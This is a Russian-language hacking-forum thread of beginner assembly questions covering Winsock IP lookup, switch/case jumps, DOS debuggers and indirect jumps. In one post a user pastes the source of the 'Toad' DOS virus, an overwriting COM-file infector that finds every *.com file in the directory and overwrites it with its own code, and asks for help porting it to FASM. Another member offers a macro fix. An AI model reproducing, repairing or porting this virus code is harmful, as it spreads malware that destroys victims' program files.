[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    Code:
    .386
    .model flat,stdcall
    option casemap:none
    
    includelib C:\masm\lib\kernel32.lib
    includelib C:\masm\lib\user32.lib
    includelib C:\masm\lib\ws2_32.lib
    include C:\masm\include\kernel32.inc
    include C:\masm\include\ws2_32.inc
    include C:\masm\include\user32.inc
    include C:\masm\include\windows.inc
    .data?
    wsaData WSADATA <>
    hn db 1024 dup(?)
    .data
    .code
    start:
    invoke WSAStartup,101h,ADDR wsaData
    invoke gethostname,ADDR hn,1024
    invoke gethostbyname,ADDR hn
    mov eax, [eax+12]
    mov eax, [eax]
    mov eax, [eax]
    invoke inet_ntoa,eax
    invoke MessageBoxA,0,eax,eax,0
    invoke ExitProcess,0
    end start
     
    2 people like this.
  2. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    внезапно мне понадобилось реализовать switch/case на ассемблере. Свитч - DWORD. кейсов около 7. как реализовать это на асме в минимальное количество байт?
     
    #642 ntldr, 30 Nov 2009
    Last edited: 30 Nov 2009
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    А как не крути но это обычные конструкции вида
    Code:
    cmp edx, число
    jne m1
    действий
    jmp end
    m1:
    cmp edx, число
    jne m2
    действий
    jmp end
    m2:
    ------------------------------ итд.
    end:
    
    
     
  4. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    Ну да, там так с джампами и выйдет. Вот так, например:

    Code:
    cmp eax, 1
    jz  .is_one
    cmp eax, 2
    jz  .is_two
    
    ;default
    ...
    
    .is_one:
    ...
    
    .is_two:
    ...
     
  5. WWWorm101

    WWWorm101 New Member

    Joined:
    3 Dec 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, кодеры! Переведите несколько строк кода с tasm на fasm(среда DOS), а то не получается:
    ...
    toad proc near
    ...
    ...
    horny label near
    toad endp
     
  6. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    WWWorm101, незнаком с синтаксисом tasm'a. А вообще процедура реализуется так:
    Code:
    proc toad
        local horny:DWORD ; или WORD, etc.
    endp
    
     
  7. WWWorm101

    WWWorm101 New Member

    Joined:
    3 Dec 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Но все таки кто-нибудь может перевести код(см. выше), с tasm на fasm(среда DOS)
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Code:
    proc toad
    
    horny:
    endp
    
     
  9. WWWorm101

    WWWorm101 New Member

    Joined:
    3 Dec 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    короче код не компилируется, ошибка во второй строке:

    org 100h

    proc toad

    first_fly:
    mov ah,4eh

    find_fly:
    xor cx,cx
    lea dx,comsing
    int 21h
    jc wart_growth

    open_fly:
    mov ax,3d02h
    mov dx,9eh
    int 21h

    eat_fly:
    xchg bx,ax
    mov ah,40h
    mov cx,norny-first_fly
    lea dx,first_fly
    int 21h

    stitch_up:
    mov ah,3eh
    int 21h
    mov ah,4fh
    jmp find_fly

    wart_growth:
    mov ah,09h
    mov dx,wart
    int 21h

    cya: int 20h

    comsig db "*.com",0
    wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
    db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'

    horny label near

    endp
    end first_fly
     
  10. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    proc - это макрос. подключи macro\proc32.inc
     
  11. WWWorm101

    WWWorm101 New Member

    Joined:
    3 Dec 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc
     
  12. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ :( )))
    (в CodeView не разобрался)
     
  13. WWWorm101

    WWWorm101 New Member

    Joined:
    3 Dec 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    wolmer
    Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
     
  14. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
    Или старинную вешь от дяди касперерского - avputil
     
  15. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    turbo debugger для начинающих вполне сойдет.
     
  16. asvn

    asvn New Member

    Joined:
    15 Aug 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Вот такой случай:
    Code:
    jz metka[bp]        ; ?????????????
    
    Подскажите как правильно реализовать вышеприведённое на masm. Нужен условный переход по смещению - metka плюс число в bp.
     
  17. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ну тогда как вариант вот так
    mov ax, metka
    add ax, bp
    jz ax
     
    #657 slesh, 14 Dec 2009
    Last edited: 14 Dec 2009
  18. asvn

    asvn New Member

    Joined:
    15 Aug 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Ответте пожалуста.
    1. Почему при использовании переменной 4е, в PSP записывается размер найденного файла то по смещению 1а, то 9а. Аналогично имя найденного файла то 1е, то 9е. Получается разница равная адресу DTA. Какая тут связь?
    2. Когда нужно узнать из запущенной программы её имя, то по PSP:002с находим сегмент переменных среды и по "[002cH]:0 плюс конец перечисления переменных" находится
    имя запущенного файла.
    Вопрос - где нибудь ещё храниться имя запущенной программы.
     
  19. asvn

    asvn New Member

    Joined:
    15 Aug 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    На
    Code:
    jz ax
    masm ругается: "instruction does not allow NEAR indirect addressing".
     
  20. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    сорь, туплю. jz не даст тебе такого. Потому что она осуществляет переход внутри текущего сегмента команд в зависимости от условия. И работает только с метками.
    Как вариант юзать конструкцию jmp и jnz. Только не забудь инвертировать условие.
    Code:
    jnz m1
    mov ax, metka
    add ax, bp
    jmp ax
    m1:
    трям порям
    metka:
    трям порям